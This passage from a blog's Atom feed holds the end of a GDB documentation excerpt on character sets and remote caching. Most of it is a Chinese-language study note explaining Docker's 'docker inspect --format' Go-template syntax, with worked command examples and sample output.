(gdb) print ascii_hello[0]
$7 = 72 &amp;#x27;\110&amp;#x27;
(gdb) print ibm1047_hello
$8 = 0x4016a8 &amp;quot;Hello, world!\n&amp;quot;
(gdb) print ibm1047_hello[0]
$9 = 200 &amp;#x27;H&amp;#x27;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As above, GDB uses the target character set for character and string literals you use in expressions:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print &amp;#x27;+&amp;#x27;
$10 = 78 &amp;#x27;+&amp;#x27;
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The IBM1047 character set uses the number 78 to encode the `+&#x27;character.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;caching-data-of-remote-targets&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_toc.html#TOC78&quot;&gt;Caching Data of Remote Targets&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;GDB can cache data exchanged between the debugger and a remote target (see section &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.apple.com&#x2F;library&#x2F;archive&#x2F;documentation&#x2F;DeveloperTools&#x2F;gdb&#x2F;gdb&#x2F;gdb_17.html#SEC154&quot;&gt;Remote debugging&lt;&#x2F;a&gt;).  Such caching generally improves performance, because it reduces the overhead of the remote protocol by bundling memory reads and writes into large chunks.  Unfortunately, GDB does not currently know anything about volatile registers, and thus data caching will produce incorrect results when volatile registers are in use.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;set remotecache on``set remotecache off&lt;&#x2F;code&gt;Set caching state for remote targets.  When &lt;code&gt;ON&lt;&#x2F;code&gt;, use data caching.  By default, this option is &lt;code&gt;OFF&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;show remotecache&lt;&#x2F;code&gt;Show the current state of data caching for remote targets.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;info dcache&lt;&#x2F;code&gt;Print the information about the data cache performance.  The information displayed includes: the dcache width and depth; and for each cache line, how many times it was referenced, and its data and state (dirty, bad, ok, etc.).  This command is useful for debugging the data cache operation.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Docker格式化输出命令:&quot;docker inspect --format&quot; 学习笔记</title>
        <published>2024-11-11T00:00:00+00:00</published>
        <updated>2024-11-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/docker格式化输出命令-docker-inspect-format-学习笔记/"/>
        <id>https://vercel.juzhong.asia/obsidian/docker格式化输出命令-docker-inspect-format-学习笔记/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/docker格式化输出命令-docker-inspect-format-学习笔记/">&lt;h1 id=&quot;dockerge-shi-hua-shu-chu-ming-ling-docker-inspect-format-xue-xi-bi-ji&quot;&gt;Docker格式化输出命令:&quot;docker inspect --format&quot; 学习笔记&lt;&#x2F;h1&gt;
&lt;p&gt;Docker --format 参数提供了基于 Go模板 的日志格式化输出辅助功能，并提供了一些内置的增强函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;docker-inspect-format&#x2F;docker-go-template-mvc.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;什么是模板?&lt;&#x2F;strong&gt;
上图是大家熟悉的 &lt;strong&gt;MVC 框架&lt;&#x2F;strong&gt;（Model View Controller）：&lt;strong&gt;Model&lt;&#x2F;strong&gt;（模型，通常在服务端）用于处理数据、&lt;strong&gt;View&lt;&#x2F;strong&gt;（视图，客户端代码）用于展现结果、&lt;strong&gt;Controller&lt;&#x2F;strong&gt;（控制器）用于控制数据流，确保 M 和 V 的同步，即一旦 M 改变，V 也应该同步更新。
而对于 View 端的处理，在很多动态语言中是通过在静态 HTML 代码中插入动态数据来实现的。例如 JSP 的 &amp;lt;%=....=%&amp;gt; 和 PHP 的 &amp;lt;?php.....?&amp;gt; 语法。
由于最终展示给用户的信息大部分是静态不变的，只有少部分数据会根据用户的不同而动态生成。比如，对于 docker ls 的输出信息会根据附加参数的不同而不同，但其表头信息是固定的。所以，将静态信息固化为模板可以复用代码，提高展示效率。&lt;&#x2F;p&gt;
&lt;p&gt;Go语言提供了简单灵活的模板支持，而基于 Go 开发的 Docker 继承了该强大能力，使其可以脱离 Shell 的相关操作，直接对结果进行格式化输出。所有支持 --format 扩展的 Docker CLI 指令均支持该操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Go模板常用语法&lt;&#x2F;strong&gt;
注释
格式：  {{&#x2F;*注释内容*&#x2F;}}
示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker network inspect --format=&amp;#x27;{{&amp;#x2F;*查看容器的默认网关*&amp;#x2F;}}{{range .IPAM.Config}}{{.Gateway}}{{end}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;变量&lt;&#x2F;strong&gt;
&lt;strong&gt;系统变量 {{.}}&lt;&#x2F;strong&gt;
点号表示当前对象及上下文，和 Java、C++ 中的 this 类似。可以直接通过{{.}}获取当前对象。
另外，如果返回结果也是一个 Struct 对象（Json 中以花括号&#x2F;大括号包含），则可以直接通过点号级联调用，获取子对象的指定属性值。&lt;&#x2F;p&gt;
&lt;p&gt;示例代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;#可以通过级联调用直接读取子对象 State 的 Status 属性，以获取容器的状态信息：
docker inspect --format &amp;#x27;{{&amp;#x2F;*读取容器状态*&amp;#x2F;}}{{.State.Status}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意： 如果需要获取的属性名称包含点号（比如下列示例数据）或者以数字开头，则不能直接通过级联调用获取信息。因为属性名称中的点号会被解析成级联信息，进而导致返回错误结果。即便使用引号将其包含也会提示语法格式错误。此时，需要通过 index 来读取指定属性信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;quot;Options&amp;quot;: {
            &amp;quot;com.docker.network.bridge.default_bridge&amp;quot;: &amp;quot;true&amp;quot;,
            &amp;quot;com.docker.network.bridge.enable_icc&amp;quot;: &amp;quot;true&amp;quot;,
            &amp;quot;com.docker.network.bridge.enable_ip_masquerade&amp;quot;: &amp;quot;true&amp;quot;,
            &amp;quot;com.docker.network.bridge.host_binding_ipv4&amp;quot;: &amp;quot;0.0.0.0&amp;quot;,
            &amp;quot;com.docker.network.bridge.name&amp;quot;: &amp;quot;docker0&amp;quot;,
            &amp;quot;com.docker.network.driver.mtu&amp;quot;: &amp;quot;1500&amp;quot;
        },
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;示例操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 直接级联调用会提示找不到数据：
docker inspect --format &amp;#x27;{{.Options.com.docker.network.driver.mtu}}&amp;#x27; bridge
&amp;lt;no value&amp;gt;
# 用引号括起来会提示语法错误：
docker inspect --format &amp;#x27;{{.Options.&amp;quot;com.docker.network.driver.mtu&amp;quot;}}&amp;#x27; bridge
Template parsing error: template: :1: bad character U+0022 &amp;#x27;&amp;quot;&amp;#x27;
# 正确的用法，必须用 index 读取指定属性名称的属性值：
docker inspect --format &amp;#x27;{{&amp;#x2F;*读取网络在hosts上的名称*&amp;#x2F;}}{{index .Options &amp;quot;com.docker.network.bridge.name&amp;quot;}}&amp;#x27; bridge
docker0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;自定义变量&lt;&#x2F;strong&gt;
可以在处理过程中设置自定义变量，然后结合自定义变量做更复杂的处理。 如果自定义变量的返回值是对象，则可以通过点号进一步级联访问其属性。比如 {{$Myvar.Field1}}。&lt;&#x2F;p&gt;
&lt;p&gt;示例操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 结合变量的使用，对输出结果进行组装展现，以输出容器的所有绑定端口列表：
docker inspect --format &amp;#x27;{{&amp;#x2F;*通过变量组合展示容器绑定端口列表*&amp;#x2F;}}已绑定端口列表：{{println}}{{range $p,$conf := .NetworkSettings.Ports}}{{$p}} -&amp;gt; {{(index $conf 0).HostPort}}{{println}}{{end}}&amp;#x27; Web_web_1
# 示例输出信息
已绑定端口列表：
80&amp;#x2F;tcp -&amp;gt; 32770
8081&amp;#x2F;tcp -&amp;gt; 8081
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;遍历（循环）：range&lt;&#x2F;strong&gt;
格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;{{range pipeline}}{{.}}{{end}}
{{range pipeline}}{{.}}{{else}}{{.}}{{end}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;range 用于遍历结构内返回值的所有数据。支持的类型包括 array, slice, map 和 channel。使用要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对应的值长度为 0 时，range 不会执行。&lt;&#x2F;li&gt;
&lt;li&gt;结构内部如要使用外部的变量，需要在前面加 引用，比如Var2。&lt;&#x2F;li&gt;
&lt;li&gt;range 也支持 else 操作。效果是：当返回值为空或长度为 0 时执行 else 内的内容。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;示例操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 查看容器网络下已挂载的所有容器名称，如果没有挂载任何容器，则输出 &amp;quot;With No Containers&amp;quot;
docker inspect --format &amp;#x27;{{range .Containers}}{{.Name}}{{println}}{{else}}With No Containers{{end}}&amp;#x27; bridge
brtest
peaceful_brown
test
docker inspect --format &amp;#x27;{{range .Containers}}{{.Name}}{{println}}{{else}}With No Containers{{end}}&amp;#x27; none
With No Containers
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;索引： index&lt;&#x2F;strong&gt;
如果返回结果是一个 map, slice, array 或 string，则可以使用 index 加索引序号（从零开始计数）来读取属性值。&lt;&#x2F;p&gt;
&lt;p&gt;示例代码:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# docker inspect $INSTANCE_ID 查看容器绑定的端口信息，其 Config 属性就是一个 Map，包含了所有子网信息。
...
 &amp;quot;IPAM&amp;quot;: {
            &amp;quot;Driver&amp;quot;: &amp;quot;default&amp;quot;,
            &amp;quot;Options&amp;quot;: null,
            &amp;quot;Config&amp;quot;: [
                {
                    &amp;quot;Subnet&amp;quot;: &amp;quot;172.31.254.1&amp;#x2F;24&amp;quot;,
                    &amp;quot;Gateway&amp;quot;: &amp;quot;172.31.254.1&amp;quot;
                }
            ]
        },
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;示例操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 通过索引序号读取默认网关
docker inspect bridge --format &amp;#x27;{{&amp;#x2F;*查看网络的默认网关*&amp;#x2F;}}{{(index .IPAM.Config 0).Gateway}}&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;判断：if … else … end&lt;&#x2F;strong&gt;
基本判断&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;not&lt;&#x2F;strong&gt;
返回单一参数的布尔否定值，即返回输入参数的否定值。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;示例:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 如果容器的 restarting 设置为 false，则返回信息“容器没有配置重启策略”
docker inspect --format &amp;#x27;{{if not .State.Restarting}}容器没有配置重启策略{{end}}&amp;#x27; $(docker ps -q)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;or&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;{{or x y}}: 表示如果 x 为真返回 x，否则返回 y。&lt;&#x2F;li&gt;
&lt;li&gt;{{or x y z}}：后面跟多个参数时会逐一判断每个参数，并返回第一个非空的参数。如果都为 false，则返回最后一个参数。&lt;&#x2F;li&gt;
&lt;li&gt;除了 null（空）和 false 被识别为 false，其它值（字符串、数字、对象等）均被识别为 true。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;示例:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;#x27;{{or .State.Status .State.Restarting}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;判断条件&lt;&#x2F;strong&gt;
判断语句通常需要结合判断条件一起使用，使用格式基本相同：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;{{if 判断条件 .Var1 .Var2}}{{end}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;go模板支持如下判断方式：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;eq: 相等，即 arg1 == arg2。比较特殊的是，它支持多个参数进行与比较，此时，它会将第一个参数和其余参数依次比较，返回下式的结果：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;{{if eq true .Var1 .Var2 .Var3}}{{end}}
# 效果等同于：
arg1==arg2 || arg1==arg3 || arg1==arg4 ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;ne: 不等，即 arg1 != arg2。&lt;&#x2F;li&gt;
&lt;li&gt;lt: 小于，即 arg1 &amp;lt; arg2。&lt;&#x2F;li&gt;
&lt;li&gt;le: 小于等于，即 arg1 &amp;lt;= arg2。&lt;&#x2F;li&gt;
&lt;li&gt;gt: 大于，即 arg1 &amp;gt; arg2。&lt;&#x2F;li&gt;
&lt;li&gt;ge: 大于等于，即 arg1 &amp;gt;= arg2。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;判断的使用&lt;&#x2F;strong&gt;
格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;{{if pipeline}}{{end}}
{{if pipeline}}{{else}}{{if pipeline}}{{end}}{{end}}
{{if pipeline}}{{else if pipeline}}{{else}}{{end}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;示例:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 输出所有已停止的容器名称：
docker inspect --format &amp;#x27;{{if ne 0.0 .State.ExitCode}}{{.Name}}{{end}}&amp;#x27; $(docker ps -aq)
docker inspect --format &amp;#x27;{{if ne 0.0 .State.ExitCode}}{{.Name}}{{else}}该容器还在运行{{end}}&amp;#x27; $(docker ps -aq)
docker inspect --format &amp;#x27;{{if ne 0.0 .State.ExitCode}}{{.Name}}{{else if .}}该容器还在运行{{end}}&amp;#x27; $(docker ps -aq)
# 输出所有已停止或配置了 Restarting 策略的容器名称
docker inspect --format &amp;#x27;{{if ne 0.0 .State.ExitCode}}{{.Name}}{{else if eq .State.Restarting true}}容器{{.Name}}配置了Restarting策略.{{else}}{{end}}&amp;#x27; $(docker ps -aq)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;打印信息&lt;&#x2F;strong&gt;
docker --format 默认调用 go语言的 print 函数对模板中的字符串进行输出。而 go语言还有另外 2 种相似的内置函数，对比说明如下：
print：  将传入的对象转换为字符串并写入到标准输出中。如果后跟多个参数，输出结果之间会自动填充空格进行分隔。
println:  功能和 print 类似，但会在结尾添加一个换行符。也可以直接使用 {{println}} 来换行。
printf:   与 shell 等环境一致，可配合占位符用于格式化输出。&lt;&#x2F;p&gt;
&lt;p&gt;对比示例输出:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;#x27;{{.State.Pid}}{{.State.ExitCode}}&amp;#x27; $INSTANCE_ID
240390
docker inspect --format &amp;#x27;{{print .State.Pid .State.ExitCode}}&amp;#x27; $INSTANCE_ID
24039 0
docker inspect --format &amp;#x27;{{.State.Pid}}{{println &amp;quot; 从这换行&amp;quot;}}{{.State.ExitCode}}&amp;#x27; $INSTANCE_ID
24039 从这换行
docker inspect --format &amp;#x27;{{printf &amp;quot;Pid:%d ExitCode:%d&amp;quot; .State.Pid .State.ExitCode}}&amp;#x27; $INSTANCE_ID
Pid:24039 ExitCode:0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;管道&lt;&#x2F;strong&gt;
管道 即 pipeline ，与 shell 中类似，可以是上下文的变量输出，也可以是函数通过管道传递的返回值。
示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;{{.Con | markdown | addlinks}}
{{.Name | printf &amp;quot;%s&amp;quot;}}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;内置函数 len&lt;&#x2F;strong&gt;
内置函数 len 返回相应对象的长度。
示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;#x27;{{len .Name}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Docker 增强模板及函数&lt;&#x2F;strong&gt;
Docker 基于 go模板的基础上，构建了一些内置函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;json&lt;&#x2F;strong&gt;
Docker 默认以字符串显示返回结果。而该函数可以将结果格式化为压缩后的 json 格式数据。
示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 获取 Config 字段对应的 json 数据
docker inspect --format=&amp;#x27;{{json .Config}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;join&lt;&#x2F;strong&gt;
用指定的字符串将返回结果连接后一起展示。操作对象必须是字符串数组。
示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 输出容器配置的所有 Entrypoint 参数，以 &amp;quot; , &amp;quot; 分隔：
docker inspect --format &amp;#x27;{{join .Config.Entrypoint &amp;quot; , &amp;quot;}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;lower&lt;&#x2F;strong&gt;
将返回结果中的字母全部转换为小写。操作对象必须是字符串。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;quot;{{lower .Name}}&amp;quot; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;upper&lt;&#x2F;strong&gt;
将返回结果中的字母全部转换为大写。操作对象必须是字符串。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;quot;{{upper .Name}}&amp;quot; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;title&lt;&#x2F;strong&gt;
将返回结果的首字母转换为大写。操作对象必须是字符串，而且不能是纯数字。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;quot;{{title .State.Status}}&amp;quot; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;split&lt;&#x2F;strong&gt;
使用指定分隔符将返回结果拆分为字符串列表。操作对象必须是字符串且不能是纯数字。同时，字符串中必须包含相应的分隔符，否则会直接忽略操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;docker inspect --format &amp;#x27;{{split .HostsPath &amp;quot;&amp;#x2F;&amp;quot;}}&amp;#x27; $INSTANCE_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;============================常用docker inspect --format 输出示例========================&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[root@node1 ~]# docker ps
CONTAINER ID        IMAGE                            COMMAND                  CREATED             STATUS              PORTS               NAMES
2ed603e52896        172.16.60.214:5000&amp;#x2F;kevin_nginx   &amp;quot;&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;&amp;#x2F;usr&amp;#x2F;...&amp;quot;   13 minutes ago      Up 13 minutes                           docker-test111
24e6607534f1        172.16.60.214:5000&amp;#x2F;kevin_nginx   &amp;quot;&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;&amp;#x2F;usr&amp;#x2F;...&amp;quot;   13 minutes ago      Up 13 minutes                           docker-test11
19be6b264b6e        172.16.60.214:5000&amp;#x2F;kevin_nginx   &amp;quot;&amp;#x2F;bin&amp;#x2F;sh -c &amp;#x27;&amp;#x2F;usr&amp;#x2F;...&amp;quot;   13 minutes ago      Up 13 minutes                           docker-test1

1) 获取容器的IP (后面使用容器名或容器ID都可以)
[root@node1 ~]# docker inspect --format=&amp;#x27;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&amp;#x27; $(docker ps -q)
192.10.160.193
173.20.19.128
17.16.10.128

[root@node1 ~]# docker inspect --format=&amp;#x27;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&amp;#x27; docker-test1
17.16.10.128

2) 获取容器的MAC地址
[root@node1 ~]# docker inspect --format=&amp;#x27;{{range .NetworkSettings.Networks}}{{.MacAddress}}{{end}}&amp;#x27; $(docker ps -a -q)
ee:ee:ee:ee:ee:ee
ee:ee:ee:ee:ee:ee
ee:ee:ee:ee:ee:ee

[root@node1 ~]# docker inspect --format=&amp;#x27;{{range .NetworkSettings.Networks}}{{.MacAddress}}{{end}}&amp;#x27; docker-test1
ee:ee:ee:ee:ee:ee

3) 获取容器Name
[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Name}}&amp;#x27; $(docker ps -aq)
&amp;#x2F;docker-test111
&amp;#x2F;docker-test11
&amp;#x2F;docker-test1
&amp;#x2F;calico-node

[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Name}}&amp;#x27; $(docker ps -aq)|cut -d&amp;quot;&amp;#x2F;&amp;quot; -f2
docker-test111
docker-test11
docker-test1

[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Name}}&amp;#x27; docker-test1
&amp;#x2F;docker-test1

[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Name}}&amp;#x27; docker-test1|cut -d&amp;quot;&amp;#x2F;&amp;quot; -f2
docker-test1

4) 获取容器Hostname
[root@node1 ~]# docker inspect --format &amp;#x27;{{ .Config.Hostname }}&amp;#x27; $(docker ps -q)
2ed603e52896
24e6607534f1
19be6b264b6e

[root@node1 ~]# docker inspect --format &amp;#x27;{{ .Config.Hostname }}&amp;#x27; docker-test1
19be6b264b6e

5) Hostname Name IP
[root@node1 ~]# docker inspect --format &amp;#x27;Hostname:{{ .Config.Hostname }}  Name:{{.Name}} IP:{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&amp;#x27; $(docker ps -q)
Hostname:2ed603e52896  Name:&amp;#x2F;docker-test111 IP:192.10.160.193
Hostname:24e6607534f1  Name:&amp;#x2F;docker-test11 IP:173.20.19.128
Hostname:19be6b264b6e  Name:&amp;#x2F;docker-test1 IP:17.16.10.128

[root@node1 ~]# docker inspect --format &amp;#x27;Hostname:{{ .Config.Hostname }}  Name:{{.Name}} IP:{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&amp;#x27; docker-test1
Hostname:19be6b264b6e  Name:&amp;#x2F;docker-test1 IP:17.16.10.128

6) 获取容器的log path
[root@node1 ~]# docker inspect --format=&amp;#x27;{{.LogPath}}&amp;#x27; `docker ps -a -q`
[root@node1 ~]# docker inspect --format=&amp;#x27;{{.LogPath}}&amp;#x27; docker-test1

7) 获取容器的image镜像名称
[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Config.Image}}&amp;#x27; `docker ps -a -q`
172.16.60.214:5000&amp;#x2F;kevin_nginx
172.16.60.214:5000&amp;#x2F;kevin_nginx
172.16.60.214:5000&amp;#x2F;kevin_nginx
quay.io&amp;#x2F;calico&amp;#x2F;node:v2.6.10
[root@node1 ~]# docker inspect --format=&amp;#x27;{{.Config.Image}}&amp;#x27; docker-test1
172.16.60.214:5000&amp;#x2F;kevin_nginx

8) 获取容器绑定的端口(port bindings)
[root@node1 ~]# docker inspect --format=&amp;#x27;{{range $p, $conf := .NetworkSettings.Ports}} {{$p}} -&amp;gt; {{(index $conf 0).HostPort}} {{end}}&amp;#x27; `docker ps -a -q`
[root@node1 ~]# docker inspect --format=&amp;#x27;{{range $p, $conf := .NetworkSettings.Ports}} {{$p}} -&amp;gt; {{(index $conf 0).HostPort}} {{end}}&amp;#x27; docker-test1
9) 获取service实例的Ip
[root@swarm-manager-node ~]# docker service ps my-test
ID                    NAME       IMAGE                                                   NODE                         DESIRED   STATE  CURRENT STATE    ERROR  PORTS
t71gqufekv2o  my-test.1  172.16.60.214:5000&amp;#x2F;kevin_nginx:latest  swarm-node2              Running    Running 16 seconds ago
9cuq2yf10d60 my-test.2  172.16.60.214:5000&amp;#x2F;kevin_nginx:latest  swarm-manager-node  Running   Running 16 seconds ago
srt2yo817kpv  my-test.3  172.16.60.214:5000&amp;#x2F;kevin_nginx:latest  swarm-node1               Running    Running 16 seconds ago
[root@swarm-manager-node ~]# docker inspect ` docker service ps my-test -q` --format &amp;#x27;{{range .NetworksAttachments}}{{.Addresses}}{{end}}&amp;#x27; | cut -d &amp;#x27;[&amp;#x27; -f2|cut -d &amp;#x27;]&amp;#x27; -f1
10.255.0.7&amp;#x2F;16
10.255.0.8&amp;#x2F;16
10.255.0.9&amp;#x2F;16
10) 获取service示例的container ID  (获取的是ID的全称,一般只要取ID前面12个字符就可以了)
[root@swarm-manager-node ~]# docker inspect ` docker service ps my-test -q` --format &amp;#x27;{{ .Status.ContainerStatus.ContainerID }}&amp;#x27;
c6c18a74a465163757fe928fec9e633223200f92d1c59e5d2d77eabfaa5ae93a
5f558bb014ea3d3eef5c8d4bd70e2e3048d7fc6725538303be960ac658d93b32
dde578bf60190a63ed5c8c4a9f5a3044566a159e8debe8717342e263c6199f26
